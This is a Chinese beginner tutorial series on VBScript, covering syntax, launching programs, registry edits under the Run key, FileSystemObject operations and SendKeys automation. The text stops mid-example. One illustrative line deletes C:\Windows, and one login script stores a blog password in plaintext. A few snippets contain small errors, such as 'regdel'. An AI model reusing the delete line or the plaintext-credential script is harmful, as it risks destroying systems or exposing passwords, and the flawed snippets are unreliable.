Vbs 脚本编程简明教程之一—为什么要使用 Vbs?
在 Windows 中，学习计算机操作也许很简单，但是很多计算机工作是重复性劳动，例如你每周也许需要对一些计算机文件进行复制、粘贴、改名、删除，也许你每天启动计算机第一件事情就是打开 WORD，切换到你喜爱的输入法进行文本编辑，同时还要播放优美的音乐给工作创造一个舒心的环境，当然也有可能你经常需要对文本中的某些数据进行整理，把各式各样的数据按照某种规则排列起来……。这些事情重复、琐碎，使人容易疲劳。

第三方软件也许可以强化计算机的某些功能，但是解决这些重复劳动往往事倍功半，我也尝试过使用计算机语言编写程序来解决这些问题，但是随之而来的命令、语法、算法、系统框架和类库常常让我觉得这样是否有必要，难道就是因为猪毛比较难拔，所以我就要去学习机械，为自己设计一个拔猪毛机（？）吗？

Vbs 是一种 Windows 脚本，它的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化 BASIC 脚本版)，VBS 是 Visual Basic 的的一个抽象子集，是系统内置的，用它编写的脚本代码不能编译成二进制文件，直接由 Windows 系统执行（实际是一个叫做宿主 host 的解释源代码并执行），高效、易学，但是大部分高级语言能干的事情，它基本上都具备，它可以使各种各样的任务自动化，可以使你从重复琐碎的工作中解脱出来，极大的提高工作效率。

我个人认为 Vbs 脚本其实就是一种计算机编程语言，但是由于缺少计算机程序设计语言中的部分要素，对于事件的描述能力较弱，所以称为脚本，它最方便的地方就是提供了对 COM 对象的简便支持。那么什么是 COM 对象呢？

我这样理解，COM 对象就是一些具有特定函数功能项程序模块，他们一般以 ocx 或者 dll 作为扩展名，你只要找到包含有你需要的功能的模块文件，并在脚本中规范的引用，就可以实现特定的功能，也就是说 Vbs 脚本就是调用现成的“控件”作为对象，用对象的属性和方法实现目的，完全免去了编写代码、设计算法等等麻烦。说白了，我不是觉得拔猪毛麻烦么？我发觉 xx 机（比如真空离心器）有一个功能可以实现脱毛，ok，我把它拿来给猪脱毛。什么？大材小用？太浪费资源了？天哪，那是计算机芯片的事情，死道友不死贫道，反正我的事情是方便快速的解决了，这就行了。

最方便的是它甚至不需要专门的开发环境，在你的计算机中，只要有 notepad，就可以编写 Vbs 脚本了，并且可以直接执行。
==========
Vbs 脚本编程简明教程之二—如何开始第一个 Vbs 脚本？
就像多数计算机教程一样 ，我们从“Hello World！”程序开始我们的练习。什么？不知道是什么意思？就是说大部分的计算机程序设计教程开篇入门都是编写一个小程序，执行这个程序的结果就是在计算机的屏幕上或者 dos 窗口中显示一行文字：Hello World！好了，我们开始吧。

打开你的“记事本”程序，在编辑窗口填写：

```
msgbox "Hello World!"
```

然后用鼠标单击“文件”菜单，单击“保存”，把“保存在”一栏设为桌面，在“文件名”一栏中填写 kk.vbs，单击“保存”就可以了。然后最小化“记事本”窗口，在桌面上寻找你刚刚保存的 kk.vbs，然后双击。看到弹出的对话框了没有，单击“确定”，对话框消失了。难看了点，不过确实是你编写的第一个脚本程序。

说明之一：上面的操作中，保存位置放在桌面，仅仅是为了执行方便，你保存到其他的地方完

全没有问题，只要你知道你保存在什么地方就可以了，什么？是废话，自己保存的当然知道保存在那里了。不，自己保存的文件自己找不到的人我见的多了去了。文件名你可以随意填写，不一定非要写 kk，只要符合 Windows 的文件命名规则就可以了，但是扩展名必须是 vbs，什么？不知道什么是扩展名？就是文件名中“.”后的那部分，简单说，就是 vbs 脚本文件命名时必须是：xxx.vbs，其中 xxx 你随意。

说明之二：在记事本编辑窗口中写的这行是什么意思？

Msgbox 是 VBS 内建的函数，每一个函数都可以完成一定的功能，你只需要按照语法要求，在函数的相应部分填写相应的内容就可以了，这部分内容我们称为参数，当然函数执行的结果我们称为返回值，一个函数可以有返回值也可以没有，可以有参数也可以没有。你不用了解函数是怎么运作的，只要了解这个函数能干什么就行了。

Msgbox 语法：msgbox　"对话框内容", , "对话框的标题"

你不妨用记事本打开刚才的文件在编辑窗口中输入：

msgbox "Hello World!" , , "系统提示"

执行一下，看看效果和位置。

说明之三：如果执行失败，看看你的标点符号，所有的标点符号必须是在英文状态下输入的。

当然，这个脚本实在是太简单了，甚至连最简单的交互都没有，所以你可以把脚本这样修改一下：

```
Dim name

name=Inputbox("请输入你的名字:","名称")

Msgbox　name, , "您的名字是"
```

保存执行一下，看到弹出的对话框了么？填入你的名字，点确定，看到结果了吗？

说明之一：第一句是定义变量，dim 是定义变量的语句

其格式为：dim　变量 1,变量 2……，

Vbs 只有一种变量类型，所以不用声明变量类型。系统会自动分辨变量类型。

说明之二：inputbox 是 VBS 内建的函数，可以接受输入的内容，其语法格式为：

Inputbox("对话框内容","对话框标题")

第二句的意思是接受用户的输入，并把输入结果传递给变量 name。

好了，到此脚本基本的输入输出函数都有了，已经可以完成一些比较简单的功能了，你可以编写一个简单的脚本，然后拷贝的“程序”—>“启动”中，然后重新启动计算机看看结果。

==========

Vbs 脚本编程简明教程之三—Vbs 的基本语法（牢记）

VBScript 基础知识

一、变量

1、所有单引号后面的内容都被解释为注释。

2、在 VBScript 中，变量的命名规则遵循标准的命名规则，需要注意的是：在 VBScript 中对变量、方法、函数和对象的引用是不区分大小写的。在申明变量时，要显式地申明一个变量，需要使用关键字 DIm 来告诉 VBScript 你要创建一个变量，并将变量名称跟在其后。申明多个同类型变量，可以用逗号分隔。注意：VBScript 中不允许在申明变量的时候同时给变量赋值。但是允许在一行代码内同时对两个变量进行赋值，中间用冒号分隔。

3、你可以使用 OptionExplicit 来告诉宿主变量必须先声明后使用。

4、VBScript 在定义时只有一种变量类型，在实际使用中需要使用类型转换函数来将变量转换成相应的变量类型。

Cbool 函数将变量转换成布尔值；

Cbyte 函数将变量转换为 0 到 255 之间的整数。

Ccur 函数、Cdbl 函数和 Csng 函数将变量转换为浮点数值，前者只精确到小数点后四位，后两者要更加精确，数值的范围也要大的多。

Cdate 函数将变量转换为日期值。

Cint 函数和 Clng 函数将变量转换为整数，后者的范围比前者要大的多。

Cstr 函数将变量转换为字符串。

二、数组

数组的定义与变量非常类似，只需要在变量后描述这个数组的个数和维数。需要注意的是：数组的下标总是从 0 开始，而以数组定义中数值减一结束。也就是说你以要定义一个有十个数据的数组，将这样书写代码：dImarray(9)，同样，当你要访问第五个元素时，实际的代码是 array(4)。当然，你可以通过不指定数组的个数和维数来申明动态数组。等到数组的个数和维数固定后，使用关键字 redim 来改变数组。注意，在改变数组的大小时，数组的数据会被破坏，使用关键字 preserve 来保护数据。例如：

RedIm 空格 preserve 空格 array 括号个数逗号维数括号

三、操作符

在 VBScript 运算符中，加减乘除都是我们常用的符号，乘方使用的是 ^ ，取模使用的 Mod。

在比较操作符中，等于、小于、大于、小于等于、大于等于都与我们常用的符号是一致的，而不等于是小于和大于连用。

逻辑运算符为：和操作—>AND　　非操作—>NOT　　或操作—>OR；

你可以使用操作符 + 和操作符 & 来连接字符串，一般使用&操作符；

另外还有一个比较特殊的操作符 Is 用来比较对象，例如按钮对象，如果对象是同一类型，结果就是真，如果对象不是同一类型，结果就是假。

四、条件语句主要有 if……then 语句和 selectcase 语句两种形式

在 if……then 语句中，其基本形式为：

If　条件　then

处理条件的语句；

……

Endif

基本形式只能对单个条件进行验证，如果有两个条件，则需要在基本形式中添加单行语句 else，如果还有更多的条件需要验证，则需要添加语句

Elseif 条件　then

处理条件语句

在 selectcase 语句中，其基本形式为：

Select　case　变量

Case　条件值

处理条件语句

并对上两句进行重复

最后一句应为

case　else

处理语句

当然不要忘记将条件结束语句 End　select 放在最后一行

注意：在执行字符串比较时，需要特别注意大小写，一般情况下，我们在比较前，使用 lcase 函数将字符串转换成小写，使用 ucase 函数将字符串转换成大写大写。

五、循环控制语句

循环控制语句有 for……next 循环、for……each 循环、do……while 循环、do……until 循环、while 循环五种形式。

在使用循环控制语句前，首先要对循环条件进行判断，如果循环次数是有固定次数的，那么使用 For……next 循环，其结构为：

For　计数器变量＝开始计数值　to　最后计数值

执行循环体

Next

如果是需要对数组或对象集合中的每一个元素进行判断，则需要使用 for……each 循环，其结构为：

For　each　循环计数变量　in　要查看的对象或数组

执行处理语句

Next

注意：在上述两种循环中随时可以使用 exit　for 来退出循环

如果你希望在条件满足时执行一段代码则使用 do……while 语句，结构为：

Do　while　条件

执行循环体

Loop

如果你希望在条件不满足时执行代码，则使用 do……until 语句，结构为：

Do　until　条件

执行循环体

Loop

当然，在这两种循环语句中，你可以使用 exit　do 来退出循环

最后一种循环语句是条件满足时一直执行循环，

While　条件

执行循环体

Wend

六、使用过程

常用的过程有两种，一种为函数，给调用者返回值，一种为子程序，无返回值，还有一种叫事件的特殊子程序，用的比较少。

函数的基本定义方法为：

Function　函数名称（参数列表）

函数代码

函数名称＝某值‘用来返回值

end　function

子程序一些都类似，不过没有返回值

注意：尽管在定义子程序的时候，参数列表要加括号，但在调用子程序的时候，参数列表不加括号，括号只在函数中使用。另外，子程序不能在表达式中使用。

而函数只能出现在赋值语句的右边，或者表达式中，函数不能直接使用，如果必须直接使用函数，则必须使用 call 语句调用，并取消返回值。

==========

Vbs 脚本编程简明教程之四—如何利用 Vbs 运行外部程序？

Vbs 只提供了编程的一个基本框架，用户可以使用 Vbs 来定义变量、过程和函数，vbs 也提供了一些内部函数和对象，但是 Vbs 没有提供任何命令来访问 Windows 系统内部的部件，但是值得庆幸的是，Vbs 虽然不能自己完成这些任务，但是它提供了一条极为方便、功能也相当强的命令——CreateObject，这条命令可以访问 windows 系统内安装的所有 com 对象，并且可以调用这些部件中存放的命令。

于是问题解决了，比如说，我手头有 1000 个小文本，我首先要对每一个文本的语法进行查错和修改，然后按照预先定义好的规则对这些文本进行排序，最后将这些文本合并成为一个文件。正常情况下，我们需要把打开第一个小文本，然后把它复制到 WORD 中，然后利用里面的除错功能进行除错和修改，然后再导入到 EXCEL 中进行排序，将这个过程重复 1000 遍，然后再将所有得到的文本复制到一个大文本中。实在是太枯燥、工作量太大了。有了 Vbs 和 CreateObject，问题得到解决，我只需要找到相应的模块，调用相应的功能就可以了，作为脚本，把一个枯燥的过程重复 1000 次，本就是它的拿手好戏。

好了，我们走入正题，从最简单的——只启动一个程序开始。

WSH 也就是用来解析 Vbs 的宿主，本身包含了几个个常用对象：

1、Scripting.FileSystemObject　—>　提供一整套文件系统操作函数

2、Scripting.Dictionary　—>　用来返回存放键值对的字典对象

3、Wscript.Shell　—>　提供一套读取系统信息的函数，如读写注册表、查找指定文件的路径、

读取 DOS 环境变量，读取链接中的设置

4、Wscript.NetWork —> 提供网络连接和远程打印机管理的函数。（其中，所有 Scripting 对象都存放在 SCRRUN.DLL 文件中，所有的 Wscript 对象都存放在 WSHOM.ocx 文件中。）

现在我们需要的是第三个对象，好了，让我们先连接一下对象看看，在记事本的编辑窗口中输入：

```
Set objShell = CreateObject(“Wscript.Shell”)

objShell.Run “notepad”
```

同样，保存执行。那么看到了一个什么样的结果呢？在桌面上又打开了一个记事本。

说明之一：Set 是 Vbs 指令，凡是将一对象引用赋给变量，就需要使用 set 关键字。那么什么是对象引用呢？凡是字符串、数值、布尔值之外的变量都是对象引用。Objshell 是变量名，可以随意修改。

说明之二：凡是正确引用的对象，其本身内置有函数和变量，其引用方法为在变量后加“.”，后紧跟其实现功能的函数就可以了。Objshell.run 的意思就是调用 Wscript.shell 中的运行外部程序的函数——run，notepad 是记事本程序的文件名。当然你也可以改成“calc”，这是计算器的文件名，winword 是 word 的文件名，等等吧，所有可执行文件的文件名都可以。但是需要注意的是，如果你要执行的可执行文件存放的地方不是程序安装的常用路径，一般情况下，需要提供合法的路径名，但是 run 在运行解析时，遇到空格会停止，解决的方法是使用双引号，例如：在我的机器上运行 qq，代码为：

```
objshell.run """C:\Program Files\QQ2006\QQ.exe"""  ‘注：三个引号
```

好， 我们再进一步，启动两个程序会如何呢？

输入如下代码：

```
Set objShell = CreateObject(“Wscript.Shell”)

objShell.Run “notepad”

objShell.Run “calc”
```

执行会如何呢？两个程序基本上同时启动了。 如果我们需要先启动 notepad 再启动 calc 将如何呢？很简单在需要顺序执行的代码后加 , , True 参数就可以了。

好了输入代码：

```
Set objShell = CreateObject(“Wscript.Shell”)

objShell.Run “notepad” ,,true

objShell.Run “calc”
```

看看执行的结果怎么样吧！

总结：run 函数有三个参数，第一个参数是你要执行的程序的路径，第二个程序是窗口的形式，0 是在后台运行；1 表示正常运行；2 表示激活程序并且显示为最小化；3 表示激活程序并且显示为最大化；一共有 10 个这样的参数我只列出了 4 个最常用的。 第三个参数是表示这个脚本是等待还是继续执行，如果设为了 true,脚本就会等待调用的程序退出后再向后执行。
其实，run 做为函数，前面还有一个接受返回值的变量，一般来说如果返回为 0，表示成功执行，如果不为 0，则这个返回值就是错误代码，可以通过这个代码找出相应的错误。
==========
Vbs 脚本编程简明教程之五—错误处理
引发错误的原因有很多，例如用户输入了错误类型的值，或者脚本找不到必需的文件、目录或者驱动器，我们可以使用循环技术来处理错误，但是 VBS 本身也提供了一些基本技术来进行错误的检测和处理。

1、最常见的错误是运行时错误，也就是说错误在脚本正在运行的时候发生，是脚本试图进行非法操作的结果。例如零被作为除数。在 vbs 中，任何运行时错误都是致命的，此时，脚本将停止运行，并在屏幕上显示一个错误消息。你可以在脚本的开头添加

On Error Resume Next

这行语句可以告诉 vbs 在运行时跳过发生错误的语句，紧接着执行跟在它后面的语句。

发生错误时，该语句将会把相关的错误号、错误描述和相关源代码压入错误堆栈。

2、虽然 On Error Resume Next 语句可以防止 vbs 脚本在发生错误时停止运行，但是它并不能真正处理错误，要处理错误，你需要在脚本中增加一些语句，用来检查错误条件并在错误发生时处理它。

vbscript 提供了一个对象 err 对象，他有两个方法 clear，raise，5 个属性：description，helpcontext，helpfile，number，source

err 对象不用引用实例，可以直接使用，例如：

```
on error resume next

a=11

b=0

c=a/b

if err.number<>0 then

wscript.echo err.number & err.description  & err.source

end if
```

==========
Vbs 脚本编程简明教程之六—修改注册表
Vbs 中修改注册表的语句主要有：

1、读注册表的关键词和值：

可以通过把关键词的完整路径传递给 wshshell 对象的 regread 方法。例如：

```
set ws=wscript.createobject("wscript.shell")

v=ws.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\nwiz")

wscript.echo v
```

2、写注册表

使用 wshshell 对象的 regwrite 方法。例子：

```
path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"

set ws=wscript.createobject("wscript.shell")

t=ws.regwrite(path & "jj","hello")
```

这样就把

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jj 这个键值改成了 hello.不过要注意：这个键值一定要预先存在。

如果要创建一个新的关键词，同样也是用这个方法。

```
path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run\sssa2000\love\"

set ws=wscript.createobject("wscript.shell")

val=ws.regwrite(path,"nenboy")

val=ws.regread(path)

wscript.echo val
```

删除关键字和值

使用 regdelete 方法，把完整的路径传递给 regdelete 就可以了

例如

```
val=ws.regdel(path)
```

注意，如果要删除关键词的值的话 一定要在路径最后加上“\”，如果不加斜线，就会删除整个关键词。

==========

Vbs 脚本编程简明教程之七—FSO 的常见对象和方法

文件系统是所有操作系统最重要的部分之一，脚本经常会需要对文件及文件夹进行访问和管理，在 Vbs 中对桌面和文件系统进行访问的顶级对象是 FileSystemObject(FSO)，这个对象特别复杂，是 vbs 进行文件操作的核心。此节内容应了如指掌。

FSO 包含的常见对象有：

Drive 对象：包含储存设备的信息，包括硬盘、光驱、ram 盘、网络驱动器

Drives 集合：提供一个物理和逻辑驱动器的列表

File　对象：检查和处理文件

Files 集合：提供一个文件夹中的文件列表

Folder 对象：检查和处理文件夹

Folders 集合：提供文件夹中子文件夹的列表

Textstream 对象：读写文本文件

FSO 的常见方法有：

BulidPath：把文件路径信息添加到现有的文件路径上

CopyFile：复制文件

CopyFolder：复制文件夹

CreateFolder：创建文件夹

CreateTextFile：创建文本并返回一个 TextStream 对象

DeleteFile：删除文件

DeleteFolder：删除文件夹及其中所有内容

DriveExits：确定驱动器是否存在

FileExits：确定一个文件是否存在

FolderExists：确定某文件夹是否存在

GetAbsolutePathName：返回一个文件夹或文件的绝对路径

GetBaseName：返回一个文件或文件夹的基本路径

GetDrive：返回一个 dreve 对象

GetDriveName：返回一个驱动器的名字

GetExtensionName：返回扩展名

GetFile：返回一个 file 对象

GetFileName：返回文件夹中文件名称

GetFolder：返回一个文件夹对象

GetParentFolderName：返回一个文件夹的父文件夹

GetSpecialFolder:返回指向一个特殊文件夹的对象指针

GetTempName:返回一个可以被 createtextfile 使用的随机产生的文件或文件夹的名称

MoveFile：移动文件

MoveFolder：移动文件夹

OpenTextFile：打开一个存在的文件并返回一个 TextStream 对象

==========

Vbs 脚本编程简明教程之八—FSO 中文件夹的基本操作

1、使用 fso

由于 fso 不是 wsh 的一部分，所以我们需要建立他的模型

例如 set fs=wscript.createobject(“scripting.filesystemobject”)

这样就建立了 fso 的模型。如果要释放的话也很简单，set fs=nothing

2、使用文件夹

在创建前，我们一般需要检查该文件夹是否存在例如：

```
dim fs,s //定义 fs、s 两个变量
set fs=wscript.createobject(“scripting.filesystemobject”) //fs 为 FSO 实例
if (fs.folderexists(“c:\temp”)) then //判断 c:\temp 文件夹是否存在
s=”is available ”
else
s=”not exist”
```

set foldr=fs.createfolder(“c:\temp”) //不存在则建立

end if

删除：　set fs=wscript.createobject(“scripting.filesystemobject”)

fs.deletefolder(“c:\windows”)

拷贝：　set fs=wscript.createobject(“scripting.filesystemobject”)

fs.copyfolder “c:\data” “d:\data”

注意：如果 c:\data 和 d:\data 都存在，脚本会出错，复制也就会停止，如果要强制覆盖，使用 fs.copyfolder “c:\data” “d:\data”，true

移动：　set fs=wscript.createobject(“scripting.filesystemobject”)

fs.movefolder “c:\data” “d:\data”

我们可以使用统配符，来方便操作：

例如，　fs.movefolder :c:\data\te*” , “d:\working”

注意：在目的路径最后没有使用“\” 也就是说我没有这样写：

fs.movefolder c:\data\te*” , “d:\working\”

这样写的话，如果 d:\working 目录不存在，windows 就不会为我们自动创建这个目录。

注意：上面我们所举的例子都是在利用 fso 提供的方法，如果使用 folder 对象也完全是可以的：

set fs= wscript.createobject(“scripting.filesystemobject”)

set f=fs.getfolder(“c:\data”)

f.delete　//删除文件夹 c:\data。如果有子目录，也会被删除

f.copy “d:\working”,true　　//拷贝到 d:\working

f.move “d:\temp”　　//移动到 d:\temp

3、特殊文件夹

一般指的就是系统文件夹：\windows\system32， 临时文件夹，windows 文件夹，在前几篇的时候，我们提过一下：例如

```
set fs=wscript.createobject(“scripting.filesystemobject”)

set wshshell=wscript.createobject(“wscript.shell”)

osdir=wshshell.expandenvironmentstrings(“%systemroot%”)

set f =fs.getfolder(osdir)

wscript.echo f
```

当然，还有简单的方法 那就是使用 getspecialfolder()

这个方法使用 3 种值：

0 表示 windows 文件夹，相关常量是 windowsfolder

1 系统文件夹，相关常量是 systemfolder

2 临时目录，相关常量 temporaryfolder

例如：

```
set fs=wscript.createobject(“scripting.filesystemobject”)

set wfolder=fs.getspecialfolder(0) ‘返回 windows 目录

set wfolder=fs.getspecialfolder(1) ‘返回 system32\

set wfolder=fs.getspecialfolder(2)'返回临时目录
```

==========

Vbs 脚本编程简明教程之九—妙用 SendKeys 简化重复操作 1

每次开机的时候，你想自动登陆你的 QQ 或者博客吗？巧妙使用 VBS 中的 SendKeys 命令（这个命令的作用就是模拟键盘操作，将一个或多个按键指令发送到指定 Windows 窗口来控制应用程序运行），可以极大的方便我们的常用操作。其使用格式为：

Object.SendKeys string

其中：

Object：为 WshShell 对象，即脚本的第一行为：

```
Set WshShell=WScript.CreateObject("WScript.Shell")
```

将 Object 替换为 WshShell

“string”：表示要发送的按键指令字符串，需要放在英文双引号中。它包含如下内容：

1．基本键：一般来说，要发送的按键指令都可以直接用该按键字符本身来表示，例如要发送字母“x”，使用“WshShell.SendKeys "x"”即可。当然，也可直接发送多个按键指令，只需要将按键字符按顺序排列在一起即可，例如，要发送按键“cfan”，可以使用

“WshShell.SendKeys "cfan"”。

2．特殊功能键：对于需要与 Shift、Ctrl、Alt 三个控制键组合的按键，SendKeys 使用特殊字符来表示：Shift —— +；Ctrl —— ^；Alt —— %

如要发送的组合按键是同时按下 Ctrl＋E，需要用“WshShell.SendKeys "^e"”表示，如果要发送的组合按键是按住 Ctrl 键的同时按下 E 与 C 两个键，这时应使用小括号把字母键括起来，书写格式为“WshShell.SendKeys "^(ec)"”，这里要注意它与“WshShell.SendKeys "^ec"”的区别，后者表示组合按键是同时按住 Ctrl 和 E 键，然后松开 Ctrl 键，单独按下“C”字母键。
由于“+”、“^”这些字符用来表示特殊的控制按键了，如何表示这些按键呢？只要用大括号括住这些字符即可。例如，要发送加号“+”，可使用“WshShell.SendKeys "{+}"”。另外对于一些不会生成字符的控制功能按键，也同样需要使用大括号括起来按键的名称，例如要发送回车键，需要用“WshShell.SendKeys "{ENTER}"”表示，发送向下的方向键用

“WshShell.SendKeys "{DOWN}"”表示。

如果需要发送多个重复的单字母按键，不必重复输入该字母，SendKeys 允许使用简化格式进行描述，使用格式为“{按键 数字}”。例如要发送 10 个字母“x”，则输入“WshShell.SendKeys "{x 10}"”即可。

例一：WshShell.SendKeys "^{ESC}u"

代码的含义为：按下 Ctrl＋Esc 组合键（相当于按 Win 键）打开“开始”菜单，接着按 U 键打开“关机”菜单。

例二：让 VBS 脚本自动在记事本中输入一行文字“hello, welcome to cfan”。

```
Dim WshShell

Set WshShell=WScript.CreateObject("WScript.Shell")

WshShell.Run "notepad"

WScript.Sleep 2000     //本行的含义为是脚本暂停 2 秒，给 notepad 一个打开的时间，有时时间太短可能导致后面的字符无法进入编辑区

WshShell.AppActivate "无标题 - 记事本"        //AppActivate 为寻找可执行程序的标题框，”无标

题－记事本”内容你的自己打开看一下

WshShell.SendKeys "hello, welcome to cfan"
```

作业 1:让脚本自动输入下面两段小短句

This is the most wonderful day of my life
because I'm here with you now
作业 2：让脚本在输入短句后自动关闭记事本，并保存文件名为“test”，注意关闭记事本可以直接使用组合按键 Alt＋F4 来实现。
==========
Vbs 脚本编程简明教程之九—妙用 SendKeys 简化重复操作 2
例三：制作能自动定时存盘的记事本

我们最常用的记事本没有 Word、WPS 那样的自动定时存盘功能，其实利用 VBS 脚本再加上 SendKeys 命令，就能弥补这个遗憾。打开记事本，输入以下内容（为容易描述和分析，把代码分为四个部分）：

```
'第一部分：定义变量和对象

Dim WshShell, AutoSaveTime, TXTFileName

AutoSaveTime=300000

Set WshShell=WScript.CreateObject("WScript.Shell")

TXTFileName=InputBox("请输入你要创建的文件名(不能用中文和纯数字)：")
```

第一部分：定义了脚本中需要用到的变量和对象。“AutoSaveTime”变量用来设置自动存盘间隔，单位为毫秒，这里设置为 5 分钟。“TXTFileName”变量通过输入框取得你要创建的文本文件名称。

```
'第二部分：打开并激活记事本

WshShell.Run "notepad"

WScript.Sleep 200

WshShell.AppActivate "无标题 - 记事本"
```

第二部分：运行记事本，对于 Windows 本身提供的程序，比如计算器等，可直接在“WshShell.Run”后输入程序名称，如"calc"，对于非系统程序，则可输入完全路径，但要注意使用 8.3 格式输入，比如“"D:\Progra~1\Tencent\QQ.exe"”。

```
'第三部分：用输入的文件名存盘

WshShell.SendKeys "^s"

WScript.Sleep 300

WshShell.SendKeys TXTFileName
```

```
WScript.Sleep 300

WshShell.SendKeys "%s"

WScript.Sleep AutoSaveTime
```

第三部分：这里用 SendKeys 命令执行了这样的操作流程（请注意每个操作之间延时命令的使用）：在记事本中按 Ctrl＋S 组合键→弹出保存文件的窗口→输入文件名→按 Alt＋S 组合键进行保存（默认保存在“我的文档”目录）。

```
'第四部分：自动定时存盘

While WshShell.AppActivate (TXTFileName)=True

WshShell.SendKeys "^s"

WScript.Sleep AutoSaveTime

Wend

WScript.Quit
```

第四部分：定时存盘的关键，通过“While……Wend”这个当条件为“真”时循环命令，实现自动存盘代码“WshShell.SendKeys "^s"”和定时代码“WScript.Sleep AutoSaveTime”的重复执行。因为不能让这个定时存盘循环一直执行，退出记事本后，必须自动退出脚本并结束循环，所以设计了一个循环判断条件“WshShell.AppActivate TXTFileName=True”，当记事本运行中时，可以激活记事本窗口，这个条件运行结果为“True”，定时存盘循环一直执行，退出记事本后，脚本无法激活记事本窗口，就会跳出循环，执行“Wend”后面的“WScript.Quit”退出脚本。

将其保存为记事本.vbs，以后要使用记事本时，都通过双击这个脚本文件来打开。

程序说明：这个脚本的基本思路是定时向记事本发送 Ctrl＋S 这个存盘组合键。

例四：关机菜单立刻显身

打开记事本，输入以下命令，并将其保存为 1.vbs：

```
set WshShell = CreateObject("WScript.Shell")

WshShell.SendKeys "^{ESC}u"
```

双击运行它，你会发现关机菜单立刻出现了。

将“WshShell.SendKeys "^{ESC}u""改为“WshShell.SendKeys "^+{ESC}""，运行一下看看是否打开了任务管理器

==========

Vbs 脚本编程简明教程之九—妙用 SendKeys 自动上网并登陆博客 3

将下面的脚本复制到一个文本文件中，并将其文件名命名为：自动登陆.vbs，然后将拨号软件及本脚本一起复制到程序——启动项中，就可以实现自动拨号上网，并登陆到博客上。

代码如下：

```
Set wshshell=CreateObject("wscript.shell")
wshshell.AppActivate "连接 MAE-301U 拨号连接"
wscript.Sleep 20000
wshshell.SendKeys "{enter}"
wshshell.Run "iexplore"
WScript.Sleep 2000
wshshell.AppActivate "hao123 网址之家---实用网址,搜索大全,尽在 www.hao123.com - Microsoft Internet Explorer" '引号中的内容修改为你的浏览器打开后标题栏中的内容
wshshell.SendKeys "%d"
wshshell.SendKeys http://passport.***.com/?login
wshshell.SendKeys "{enter}"
WScript.Sleep 2000
wshshell.SendKeys "此处修改为博客帐号"
wshshell.SendKeys "{tab}"
wshshell.SendKeys "此处修改为博客密码"
wshshell.SendKeys "{enter}"
'wshshell.SendKeys "%d"
```

==========

Vbs 脚本编程简明教程之十—Vbs 脚本编程常用的编辑器

Vbs 脚本常用的编辑器当然是 notapad，不过这个编辑器的功能当然实在是太弱了一点，其实有很多的专用的脚本编辑器可以大大方便 vbs 脚本的编写。我常用的有两种：

1、VBSEDit 汉化版

==========

Vbs 脚本编程简明教程之十一——FSO 中文件的基本操作

一、文件属性：

在 windows 中，文件的属性一般用数字来表示：

0 代表 normal，即普通文件未设置任何属性。 1 代表只读文件。

2 代表隐藏文件。 4 代表系统文件。 16 代表文件夹或目录。

32 代表存档文件。 1024 代表链接或快捷方式。例如：

```
set fs=wscript.createobject(“scripting.filesystemobject”)

set f=fs.getfile(“d:\index.txt”)

msgbox f.Attributes  ‘attributes 函数的作用是显示文件属性
```

需要说明的是：msgbox 显示的结果往往不是上面说明的数字，而是有关属性代表数字的和。

二、创建文件：object.createtextfile 方法，注意创建前一般需要检查文件是否存在。

例如：set fso=wscript.createobject(“scripting.filesystemobject”)

if fso.fileexists(“c:\kk.txt”) then

msgbox “文件已存在”

else

set f=fso.createtextfile(“c:\kk.txt”)

end if

如需要强制覆盖已存在的文件，则在文件名后加 true 参数。

三、复制、移动、删除文件：使用 copyfile 方法、movefile 方法、deletefile 方法。例如：

set fso=wscript.createobject(“scripting.filesystemobject”)

fso.copyfile “c:\kk.txt”,”d:\1\kk.txt”,true　　//如上文说述，true 代表强制覆盖

fso.movefile “c:\kk.txt”, “d:\”　//移动文件

fso.deletefile “c:\kk.txt”　//删除文件

四、文件的读写：

1、打开文件：使用 opentextfile 方法

如：set ts=fso.opentextfile(“c:\kk.txt”,1,true)

说明：第二个参数为访问模式 1 为只读、2 写入、8 为追加

第三个参数指定如文件不存在则创建。

2、读取文件：read(x)读 x 个字符；readline 读一行；readall 全部读取

如：set ffile=fso.opentextfile(“c:\kk.txt”,1,true)

value=ffile.read(20)

line=ffile.readline

contents=ffile.readall

3、常见的指针变量：

atendofstream 属性：当处于文件结尾的时候这个属性返回 true。一般用循环检测是否到达文件

末尾。例如：

do while ffile.atendofstream<>true

ffile.read(10)

loop

atendofline 属性：如果已经到了行末尾，这个属性返回 true。

Column 属性(当前字符位置的列号)和 line 属性(文件当前行号)：在打开一个文件后，行和列指针都被设置为 1。

4、在文件中跳行：skip(x)　跳过 x 个字符；skipline　跳过一行

5、在文件中写入字符：可以用 2－写入和 8－追加的方式来写入

其方法有：write(x)写入 x 字符串；writeline(x)写入 x 代表的一行

writeblanklines(n) 写入 n 个空行

注意：最后一定要使用 close 方法关闭文件。读文件后一定要关闭，才能以写的方式打开。
==========
Vbs 脚本编程简明教程之十二—使用系统对话框
在 VBS 脚本设计中，如果能使用 windows 提供的系统对话框，可以简化脚本的使用难度，使脚本人性化许多，很少有人使用，但 VBS 并非不能实现这样的功能，方法当然还是利用 COM 对象。

1、SAFRCFileDlg.FileSave 对象：属性有： FileName — 指定默认文件名； FileType — 指定文件扩展名；OpenFileSaveDlg — 显示文件保存框体方法。

2、SAFRCFileDlg.FileOpen 对象：FileName — 默认文件名属性；OpenFileOpenDlg — 显示打开文件框体方法。

3、UserAccounts.CommonDialog 对象：Filter — 扩展名属性（"vbs File|*.vbs|All Files|*.*"）；

FilterIndex — 指定

InitialDir — 指定默认的文件夹

FileName — 指定的文件名

Flags — 对话框的类型

Showopen 方法：

很简单，ok，让我们来举两个简单的例子：

例一：保存文件

```
Set objDialog = CreateObject("SAFRCFileDlg.FileSave")

Set objFSO = CreateObject("Scripting.FileSystemObject")

objDialog.FileName = "test"

objDialog.FileType = ".txt"

intReturn = objDialog.OpenFileSaveDlg

If intReturn Then

objFSO.CreateTextFile(objDialog.FileName & objdialog.filetype)

Else

Wscript.Quit

End If
```

注意：1、SAFRCFileDlg.FileSave 对象仅仅是提供了一个方便用户选择的界面，本身并没有保存文件的功能，保存文件还需要使用 FSO 对象来完成。2、用 FileType 属性来指定默认的文件类型。3、在调用 OpenFileSaveDlg 方法时，最好把返回值保存到一变量中，用它可以判断用户按下的是确定还是取消。

例二：.打开文件

```
